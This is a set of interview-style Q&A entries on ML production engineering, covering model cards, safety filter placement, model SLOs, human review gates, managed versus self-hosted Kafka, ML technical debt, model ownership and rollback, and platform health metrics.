Hand-written vs generated is the trade-off that actually bites. Generated cards cannot drift from the artifact (version, metrics and lineage are read from the registry at publish time) but they are structurally silent about intent, because intent is not a column anywhere. Hand-written cards capture the tacit part ("we saw it degrade on inputs past 512 tokens during red-teaming") and rot the moment someone fine-tunes. The workable split is generated for anything a machine knows, owner-signed for intended use, out-of-scope uses and limitations, with a CI gate that fails the release if the signed fields are empty.

Generation breaks down in two specific places. First, fine-tunes: a derivative inherits the base card's claims unless the pipeline forces a new card, so a card can be accurate about version and wrong about scope. Second, multi-model systems: the registry has no field for "must not be used for credit decisions", so that sentence exists only if a human typed it. And a prohibited-use list is not a control: it is a signal that the gate lives in the serving layer, not in the document.

Failure mode, and how you'd catch it

Hypothetical but typical: a model trained on US-only traffic ships with a card reporting 0.94 accuracy. A team reuses it in DE, BR and IN. Overall accuracy holds at 0.93, but the DE slice is 0.71: the card had no population field, so nobody knew to look. Detection is not "read the card harder": it is a schema check in the release pipeline that fails when population or out-of-scope uses are empty, plus a slice-coverage assertion that every deployment locale appears in the eval breakdown.

What I'd check before calling it done

The card names the population and the prohibited uses, it is generated from the registered version, and the signed fields carry an owner's name. Documentation is for the next user, not the author.

Curated: · Written: · Reviewed:

Q&A-93A generative feature needs a safety filter. What does that change operationally?

The 90-second answer

A safety filter turns one model call into two, and the second one sits on the request path. Operationally that means four new things to own: a latency budget that now includes the filter, a separate set of error rates (false positives are a product problem, false negatives are a safety one), a failure mode where the filter itself is down or wrong, and a release process. The filter is versioned and evaluated like a model, not configured like a regex.

Assumptions worth stating out loud: the surface is user-facing and streaming or near-real-time; the filter classifies the prompt, the output, or both; and someone owns the policy that defines "blocked" per slice.

Where the filter goes

Three placements, and the choice is the interview:

  • Pre-filter (input): runs before generation. Cheap, blocks before you pay for tokens, but blind to what the model invents.
  • Post-filter (output): sees the real output, but you have already paid for generation, and if the response streams, you have already sent tokens unless you buffer.
  • Post-hoc: sample and review asynchronously. No latency cost, no real-time protection.

Streaming is the sharp edge. A post-filter on a stream either buffers the whole response (adds to time-to-first-token) or filters incrementally and cannot retract tokens already on the wire. That is a product decision about what "blocked" means mid-stream, not an infra one.

Choosing between them

OptionCatchesLatency costWhen to choose
Pre-filterbad promptsone extra call before generationprompt-side abuse is the main risk; generation is expensive
Post-filter, bufferedbad outputsfull filter latency before first tokenoutput correctness matters more than TTFT
Post-filter, streamingbad outputs, best-effortnear-zero, but cannot retractTTFT is a hard product requirement
Post-hoc samplingtrends, not incidentsnonelow-risk surface, or as a first step before real-time

Self-hosted versus vendor is the second axis. Self-hosted gives you the weights, the version pin, and the ability to evaluate on your own slices, at the cost of owning the serving stack. A vendor API gives you a maintained model and a rate limit you do not control, and you cannot inspect why a specific output was blocked. Pick self-hosted when you need per-slice evaluation and a pinned version; pick vendor when the filter is not your differentiator and you can live with the vendor's update cadence.

Failure modes

  • Filter unavailable. Fail-open is a safety hole; fail-closed is an outage on a user-facing feature. Decide per slice, and make the decision explicit rather than letting a timeout default to one.
  • Filter drift. The filter is a model; its distribution shifts with the base model's outputs and with user behaviour. Pin the version and re-evaluate on release.
  • Slice regression. This is the one that bites. An illustrative example: a filter update raised the block rate on one language from 3% to 27% while the aggregate moved from 3.4% to 4.1%. Under a point, so nothing alerted for three weeks.
SliceBeforeAfter
aggregate3.4%4.1%
one language3.0%27.0%

Aggregate block rate hides exactly the regressions you care about. Alert on per-slice rate against the rate recorded at evaluation time.

When not to add one

If the base model already refuses at an acceptable rate and the surface is internal or low-risk, a second model adds latency and a new failure mode for little gain: post-hoc sampling with human review is the better first step. And do not ship a filter you cannot evaluate: an unevaluated filter is a false sense of safety, not a control.

Curated: · Written: · Reviewed:

Q&A-33What does an SLO for a model look like?

Start by pinning down what the model is serving: an online prediction endpoint behind an API, with a request class, a decision it drives, and a label that eventually arrives. Then the SLO has three parts, not two.

Availability and latency are per request class, same as any service. The third part is quality: a named metric, on a named slice, over a stated window, with a decision rule on breach. Without it you can be 99.95% available and wrong on the slice you exist to serve.

ObjectiveSliceWindowTargetActual
availabilityall inference requests28d rolling99.9%99.95%
p99 latencyall inference requests28d rolling120 ms96 ms
precisionfraud, card-not-present, amount > $5028d rolling>= 0.700.51
label freshnessfraud labels24h< 48h lag9d

Why quality escapes availability monitoring: availability measures the request path. Did the call return 200 in time. It says nothing about whether the input distribution still matches training or whether the decision is still right. Drift enters through the feature pipeline (an upstream field changes units), through the population (a new merchant category), or through the label definition (a chargeback rule change). None of those touch the request path, so no availability or latency objective fires.

Measurement splits in two. Offline: a frozen holdout, re-scored on every model or feature change, is your regression gate. It catches a bad deploy before it ships. Production: the SLO itself, computed on labeled outcomes. Ground truth lags, so you run a fast proxy (prediction rate, score distribution, feature drift) for detection and the delayed ground-truth metric for the objective. The proxy alerts; the ground truth decides.

Choosing the window is arithmetic on label latency. Fraud labels settle after a 7-day dispute window, so a 28-day rolling window is the shortest that is both fully labeled and stable. Choosing the population: define the slice by a predicate on request features computable at serving time, never by the model's own output. Slicing on predicted-positive selects on the thing you are measuring.

Sizing: 1,200 flags/day at 0.70 precision gives about 840 true positives/day, so roughly 23,500 over 28 days. The standard error of that precision is sqrt(0.7 x 0.3 / 33,600) = 0.25%, so about +/-0.5% at 95%: tight enough to alert on a 0.70 target.

Trade-offs. Proxy metrics are fast and cheap but drift from the real objective and invite Goodharting; human eval is accurate on hard cases but slow and small-n; delayed ground truth is the real thing but too slow to catch a same-day regression. Per-slice targets catch the failure that matters but multiply alerts and get noisy when a slice has few positives; aggregate targets are stable but hide exactly the slice you care about. A quality SLO is impractical when no label arrives inside a useful window (long-horizon outcomes) or the label is contested, then use a documented proxy or a human-review objective, and say so.

Failure modes to name: the label pipeline stalls and the SLO silently reads stale (hence the freshness objective); small-n slices fire constantly (set a minimum volume before a slice gets its own target); the proxy gets optimized and decouples from the ground truth (track both, alert on divergence).

On breach: the quality objective routes to the model owner, who decides whether to roll back, retrain, or fall back to the manual process. That decision rule is part of the SLO, not an afterthought.

Curated: · Written: · Reviewed:

Q&A-80Where should a person sit in an automated decision pipeline?

Assume the pipeline is: model scores → decision → side effect (payment released, account banned, claim denied). The placement question is which of those arrows the human sits on. Two things decide it: whether the side effect is reversible, and how much latency the caller can absorb.

My answer: put the human as a blocking gate immediately before the irreversible side effect, scoped to the band where the model is uncertain or the impact is high. Reversible actions get post-hoc audit. Nothing gets a random sample.

PlacementLatency addedCatchesFails when
Pre-gate (approve before any action)Full review time on the critical pathEvery error in scopeVolume × review time exceeds capacity
Inline (human edits output before commit)Same as pre-gateWrong-but-fixable outputsThe fix is a yes/no, not a correction
Post-hoc audit (action already taken)NoneSystemic drift, policy gapsAction has no rollback path
On-the-loop (monitor, can halt)NoneOutages, distribution shiftIndividual errors pass through

Capacity is what forces the scoping. A reviewer clears roughly 40 cases/hour with context. At 100k decisions/day with 12% uncertain, blocking on all of them is 12,000 cases = 300 reviewer-hours = about 38 FTE reviewers. If only 2% are both uncertain and irreversible, that is 2,000 cases = 50 reviewer-hours = about 6 reviewers. The gate is affordable at that scope and nowhere else.

Three failure modes, each with a detector:

  • Rubber-stamping. Approval rate above 99% with median review time under 5 s means the human is a signature, not a check. Detect by injecting a gold set of known-bad cases into the queue and measuring catch rate.
  • Feedback poisoning. Reviewed outcomes become training labels, so the model learns the reviewer's threshold rather than the true one. Detect by holding out a never-reviewed slice and comparing error rates against the reviewed slice.
  • Latency creep. The gate's queue depth becomes the caller's p99. Alert on queue age, not queue length: a deep queue draining fast is fine, a shallow one stalling is not.

When this placement is wrong: if the model is well calibrated and errors are spread evenly across the score range, uncertainty routing buys nothing. Route by impact instead. If review capacity exceeds volume, gate everything and drop the routing logic. If the action is reversible within seconds, on-the-loop beats a blocking gate, because the rollback is cheaper than the wait.

Curated: · Written: · Reviewed:

Q&A-82Managed platform or your own stack?

The short answer: default to managed; self-build only when a named constraint binds. A knob the vendor won't expose, a residency or latency requirement, or a capacity trajectory that crosses the cost crossover within about 18 months. I'll instantiate with Kafka, because it's the case where the arithmetic is clearest.

Why the crossover exists. The managed premium is linear in capacity; the operational cost is stepwise in headcount. That's the whole mechanism. Three m5.2xlarge brokers on-demand in us-east-1 run $0.384/hr each, $841/month, plus 3 TB of gp3 at $0.08/GB-month, $240. Call it $1,080/month, $13k/year, before anyone is paged. A managed broker-hour lists above the equivalent EC2 instance-hour; assume 1.3x for the arithmetic (illustrative, check current pricing), $1,093/month plus storage, roughly $1,400. The premium is about $3.7k/year. That does not buy an SRE, so at three brokers managed wins outright.

Now scale to 60 brokers. Self-managed compute is $16.8k/month. The 30% premium is ~$5k/month, ~$60k/year: a loaded SRE salary. The premium grew linearly; the SRE you'd need to run 60 brokers is still one or two people. That's the crossover, and it's why "managed is more expensive" and "managed is cheaper" are both true depending on where you sit.

Where lock-in actually binds. Not the brokers: Kafka's wire protocol is portable. It binds in the surrounding APIs: IAM-based auth, the vendor's schema registry, proprietary connectors, managed ACLs. Those are what you rewrite on exit. So the exit-path test is: can I keep schemas in my own registry, authenticate with SASL/SCRAM or mTLS rather than the vendor's IAM, and avoid connectors that only exist on the platform? If yes, the exit is a weekend of DNS and consumer-group rebalancing. If no, you're renting, not buying.

What breaks in each direction. Managed: partition and connection quotas you can't raise on demand; broker configs you can't touch (log.segment.bytes, unclean.leader.election.enable); a control-plane outage that leaves you unable to add brokers or rotate credentials while data still flows; egress pricing that only shows up at scale. Self-built: you own the KRaft/ZooKeeper controller quorum, the 3am disk-full page, the 3.x→4.x upgrade, and the CVE patches, and the failure mode is that the one engineer who knows the cluster leaves.

When managed is the wrong call. Regulated data that can't leave your VPC or region; a latency budget where the managed control plane's extra hop matters; or a broker-level knob the vendor won't expose and you genuinely need.

How I'd decide, concretely. Cost both options including the engineers each needs. Name the constraint that would be unacceptable. Prototype against the real workload, not a benchmark. And test the exit before committing: export a schema, point a consumer at a self-managed broker, and see what breaks.

Curated: · Written: · Reviewed:

Q&A-89Where does ML-specific debt accumulate?

The debt is not in the model code. It accumulates in the couplings between data, features, models and decisions: the parts code review never sees.

Four places carry most of it. First, undeclared consumers: a feature or table read by models outside the team that owns it. Sculley et al. named this in "Hidden Technical Debt in Machine Learning Systems" (NeurIPS 2015) as CACE: Changing Anything Changes Everything. Second, configuration debt: thresholds, cutoffs and weights tuned once in a notebook and never versioned. Third, pipeline jungles and glue: a chain of scripts where one model's output is the next model's input. Fourth, feedback loops, where a model's own decisions become its next training labels.

The one I would fix first is undeclared consumers, because it is the one that takes down production without warning. The mechanism: a feature's definition is a shared interface, but nothing enforces it. When the owning team changes or retires it, every downstream model shifts at once.

Concretely, I have seen a feature called tenure_bucket that its owning team believed had one consumer. It had four.

FeatureKnown consumersActual consumers
tenure_bucket14

Removing it degraded a revenue-critical model, and the other three consumers were found after the fact.

Now the trade-off, because there are three ways to catch this and they cost very different amounts.

Generated lineage (OpenLineage emitting to Marquez, or dbt's ref() graph, or a Feast feature registry) catches undeclared consumers automatically and stays current. It costs instrumentation on every job, and it only sees reads that go through instrumented paths; a model reading a raw table with a hardcoded query is invisible.

A manual consumer registry, or a CODEOWNERS gate on the feature definition, is nearly free and works when one team owns everything. It rots within a quarter once more than two teams write to the store.

Contract tests, dbt tests or Great Expectations on the feature table, catch breakage in CI but tell you nothing about who to notify.

The deciding criteria are how many teams read the store and whether they read through the registry or raw tables. If consumers go through a registry, generated lineage is cheap and correct. If they read raw tables, lineage alone will miss them, and you need the registry plus a scan of query logs.

When is this overkill? One team, fewer than ten models, one repo. Then a grep for the feature name and a CODEOWNERS entry beats standing up a lineage platform.

Detection, not just prevention: before any change to a shared feature, query the consumer list; and alert when a new reader appears, so the list is generated rather than maintained by hand.

Curated: · Written: · Reviewed:

Q&A-91How do you tell a business owner what the model can and cannot do?

Open with the limits, in the owner's units, before any metric. A strong answer sounds like this:

"This model flags accounts for manual review. At the threshold we ship: score ≥ 0.62: it catches 600 of the roughly 1,000 true cases a week and sends 600 false positives to your analysts, about 40 analyst-hours. It was validated on existing EU customers with accounts older than 90 days. On accounts younger than 90 days it catches 44 of 200 and sends 445 false positives. It is not validated there, and I would not ship it there without re-running the evaluation."

That is the whole answer in 60 seconds: what it does, at what setting, on whom, at what cost, and where it stops being true. Everything below is the detail behind those sentences.

The one-page statement

Give the owner a single page they can forward. Not a dashboard, not a slide.

FieldValue
Decision it drivesflag account for manual review
Operating pointscore ≥ 0.62 (calibrated P(fraud))
Validated populationexisting EU retail customers, account age ≥ 90 days
Volume50,000 scored/week, ~1,000 true cases
At this threshold600 caught, 600 false positives, 400 missed
Cost of a false positive~4 min analyst time → 40 analyst-hours/week
Voided byaccount age < 90 days, non-EU, any change to the feature pipeline

Why each field changes the owner's decision

  • Operating point. Accuracy is not a property of the model; it is a property of the threshold. The same model at 0.40 catches more and floods the queue; at 0.80 it catches less and misses more. The owner owns the cost of each error, so the owner should own the trade. Give them the two numbers and the lever, not a verdict.
  • Population. "94% accurate" is meaningless until you say 94% of what. The failure I've seen: a model reported at 94% was applied to a segment absent from training, and the error rate there was 38%. The owner had no way to know the number didn't travel.
  • Counts in business units. 0.50 precision is not a decision. 600 false positives a week is a staffing decision. Convert before you present.
  • Voiding conditions. Tells the owner when to come back to you instead of assuming the number still holds.

Trade-offs

Per-segment reporting is more honest but only actionable when the segment has enough positives to estimate from: below roughly 100 positive cases in the validation window the confidence interval is wider than the difference you're trying to show, so group segments instead. State a confidence interval when the decision sits near a threshold: 1,000 positives gives recall 0.60 a 95% interval of about ±3 points. Human-in-the-loop is the escape hatch when the asymmetry is extreme, if a miss costs far more than a review, lower the threshold and let analysts absorb the load. And this whole apparatus is overkill for an internal ranking with no user-facing decision and no cost asymmetry; there, a single ranking metric and a note is enough.

Failure modes

  • The owner quotes the headline number in a deck without the population. Detect it: the number appears in a document you didn't write.
  • Silent drift. The feature pipeline changes, the population shifts, and the operating point quietly stops holding. Detect it: monitor the score distribution (PSI) and realized precision weekly; alert when realized precision falls more than a few points below the stated value.
  • Someone changes the threshold in config without re-communicating. Detect it: version the threshold and alert on change.

Pushback

The owner will ask "so is it 94% accurate?" Answer with the trade, not a defence: "It catches 60% of fraud at the threshold we ship, which costs you 40 analyst-hours a week. If you want more caught, we lower the threshold and the review load goes up. That's your call to make."

Curated: · Written: · Reviewed:

Q&A-92Who owns a model in production?

The short answer: one named person owns the model's quality, one named person owns the serving path, and both names are in the registry before the model is promoted. The platform owner gets standing authority to roll back to the last approved version if the quality owner doesn't answer within the escalation window.

Assume the model is served behind an API, lives in a registry, and both teams have on-call rotations. If any of those is false, the split below doesn't apply: see the failure modes.

Why the split works

Quality and serving fail in different ways and are diagnosed with different tools. Quality degrades when the input distribution drifts or a feature pipeline changes upstream; you see it in prediction distributions, not in HTTP metrics. Serving degrades when the endpoint saturates, a dependency times out, or a bad deploy ships; you see it in p99 latency and error rate. One person cannot be fluent in both, and more importantly cannot be on two paging rotations.

The escalation is the load-bearing part. It is a decision rule, not a relationship:

  • t+0: p99 latency alert fires, pages the platform owner.
  • t+5m: platform owner confirms the endpoint is healthy but the prediction distribution has shifted. Pages the quality owner.
  • t+15m: quality owner acknowledges and decides: roll back or retrain.
  • t+30m: no acknowledgement. Platform owner rolls back to the previous approved version unilaterally and writes it up.

That last line is what stops the four-day stall. Without it, the platform owner waits for permission that never comes.

The registry record

Ownership is only real if it is queryable. In MLflow's registry (2.x, where stages are deprecated in favour of aliases) or SageMaker's Model Registry (ModelApprovalStatus), the record looks like this:

model: fraud-scorer
version: 14
alias: production
tags:
  quality_owner: ds-fraud@example.com
  platform_owner: sre-payments@example.com
  approved_by: ds-fraud@example.com
  approved_at: 2025-03-11T14:02Z

Promotion is gated on quality_owner and platform_owner being non-empty and resolving to a current rotation. A CI check against the registry API enforces it.

Alternatives, and when they win

ModelQuality ownerServing ownerFails when
Single ownerone personsame personthe model is a feature inside a larger service; one person can't hold two rotations
Team ownershipDS teamplatform teamno individual is accountable; incidents stall on "who's driving?"
RACIA = quality ownerR = platform ownerthe A is never named, so it collapses into team ownership

Single ownership is correct when the model is small and embedded: a ranking tweak inside a search service. Then the service owner owns both, and data science is a consultant. Team ownership is a description, not an assignment; it is what you have when nobody has decided.

Failure modes

  • Quality owner has no on-call. The escalation window expires every time. Fix: the quality owner must be on a rotation, or the platform owner owns quality too.
  • The model is a feature, not a service. Splitting ownership across a service boundary creates two owners for one failure. Fix: the service owner owns it.
  • Registry says one thing, runbook says another. The runbook names a team that was reorganised six months ago. Fix: generate the runbook's owner list from the registry, not by hand.

Check before promotion: every serving model resolves to a current quality owner and platform owner, and the escalation window is written down. An unowned model is owned by whoever is paged.

Curated: · Written: · Reviewed:

Q&A-99You join a team with models in production and no platform. Where do you start?

What I'd say in the first two minutes

First question back: is anything currently wrong with the models in production? That splits the answer.

  • If a model is actively misbehaving (silent quality drift, a bad promotion, downstream complaints) start with observability and an evaluation harness. You cannot fix what you cannot see, and every hour of blindness compounds.
  • If the models are behaving but nobody can reproduce or revert them, start with a registry and a tested rollback. That is the common case, and it is what I default to.

The deciding criterion is whether there is an active, ongoing quality failure. Absent one, reproducibility and reversibility dominate, because they are the precondition for every later automation.

Why registry and rollback first

Automation multiplies whatever discipline already exists. If training is automated before artifacts are versioned, the pipeline's output is unreproducible and its promotions are irreversible. A registry plus a rehearsed rollback is the smallest change that makes every subsequent step safe.

First two weeks, concretely

StepConcrete artefactTool examplesRisk removed
Inventorya table of every serving endpoint: model, version, owner, training-data snapshot, eval scorea spreadsheet, then a registryunknown models
Registry + lineageeach model version registered with its training run, dataset hash and metricsMLflow 2.x model registry, SageMaker Model Registry, W&B artifactsunreproducible artifacts
Tested rollbacka documented, rehearsed procedure that moves serving from version N to N-1registry alias or approval status, plus the serving layer (KServe, Seldon, BentoML, Ray Serve)unrecoverable promotion
Monitoringper-model input drift and output-quality metrics with alertsEvidently, WhyLabs, Arize, Prometheus/Grafanasilent degradation

A rollback trace

Worked example, hypothetical numbers. Serving resolves the alias champion from the registry, e.g. models:/fraud-clf@champion. Promotion registers a new version and moves the alias. Rollback is one alias move back:

import mlflow

mlflow.set_registered_model_alias("fraud-clf", "champion", 41)

That is a config change: seconds, no retraining, and the artifact that was serving is byte-identical to what comes back. Compare the alternative: previous artifact overwritten, only the training script left. Recovery is a retrain: hours to days, and the result is a different model, not the one that was working.

Failure mode to name

The one I watch for is automating retraining before the registry exists. Worked example: a nightly pipeline retrains and promotes on a fixed schedule; one night the upstream feature job emits a shifted distribution, the pipeline promotes the resulting model, and the previous artifact was overwritten in place. Detection is a downstream metric alert firing hours later; recovery is a retrain from an uncertain snapshot. With alias-based promotion, the same incident is a one-line revert.

What I would not do first

Not a feature store, not a full CI/CD training pipeline, not a model-performance dashboard with no rollback behind it. Those are second-order. The exception is the actively-misbehaving case above, where monitoring genuinely comes first.

How I'd know it's done

Every serving model has a registry entry with lineage, and I can demonstrate a rollback on a live endpoint in under a minute.

Curated: · Written: · Reviewed:

Q&A-100How would you know an ML platform is in good shape?

A healthy ML platform is one where any serving model can be rebuilt from its record and any bad model can be pulled in minutes. Everything else is secondary.

I'd track four numbers, each with an owner and a monthly report:

MeasureWhat it provesHealthy bar
Reproducibility ratethe training/serving contract holdsevery serving model rebuilds from its manifest
Median rollback timereversibility is real, not theoreticalunder 15 min, exercised quarterly
Monitor coveragedecay is caught before usersevery serving model has a live quality signal
Retired modelsthe surface isn't accumulatingstale models retired within 90 days

Why these and not deployment count. Deployment count is a vanity metric: it rises whether or not the platform works. Incident count is lagging: it tells you after the damage. Drift-alarm count is noisy and rewards whoever tunes thresholds loosest. The four above are leading, actionable, and each maps to a failure you can fix this week.

Mechanism, because the numbers only mean something if you know what breaks.

Reproducibility. A rebuild is only a proof if it resolves the same inputs: the recorded data snapshot (not "the table as it is now"), the code commit, the hyperparameters, the container. If the training job reads a mutable table, the rebuild silently trains on different data and you get a different model under the same name. So the check is: re-run from the manifest and diff the artifact. If the stack isn't bitwise deterministic, pin seeds and compare metrics against a recorded tolerance instead of a hash.

Rollback. Slow rollback is almost never the model file. It's coupling: the model version pinned inside a serving config that also carries feature-store schema, or no canary path, so the only revert is a full redeploy. Measure from "decision to revert" to "traffic on the previous version." If it's untested, it isn't a number, it's a hope.

Monitoring under delayed labels. This is the one people get wrong. When labels arrive 7–30 days late (chargebacks, churn, confirmed fraud), accuracy on labeled data is a lagging signal: you learn about a regression a month after it shipped. You need a leading proxy in the gap: input feature drift, prediction-distribution shift, and calibration on a small slice you can afford to label fast. Coverage means every serving model has at least one such signal wired to an alert with a threshold someone owns.

Retirement. Unused models are load: they hold serving capacity, they rot, and they quietly falsify the reproducibility number when nobody notices they broke. Retiring within 90 days of last traffic keeps the surface honest.

Two years on one team:

MeasureYear 1Year 2
models reproducible0 of 1414 of 14
median rollback timeuntested9 min
models with quality monitor3 of 1414 of 14
models retired06

The move that produced it wasn't a tool. It was making the four numbers a monthly report and fixing whichever was worst: reproducibility first, because you can't roll back what you can't rebuild.

Curated: · Written: · Reviewed:

Q&A-71A data scientist hands you a notebook that produces a good model. What now?

The engineering content of moving a notebook into a pipeline is the gate and the rollback, not the model architecture.

The notebook is a description of a result, not a pipeline, because it depends on hidden state: cells run out of order, local files, and manual edits. Productionising means making every input explicit rather than translating the code.

Concretely, extract parameters and data references into configuration, run the whole thing top to bottom in a clean environment, pin dependencies, and compare the resulting metrics against the notebook's before changing anything else.

The reason for that specificity is a failure I have seen: A converted pipeline scored four points below the notebook; the notebook had a manually filtered dataframe from a cell that had been deleted, and reconciling the two took a week.

Reconciliation after conversion.

SourceRows usedAUC
notebook as run812,0000.874
pipeline1,204,0000.831

I would not consider it settled without evidence: Run the notebook end to end in a fresh kernel and require it to reproduce its own reported metric before conversion starts.

A notebook that only runs in order is already broken.

Curated: · Written: · Reviewed: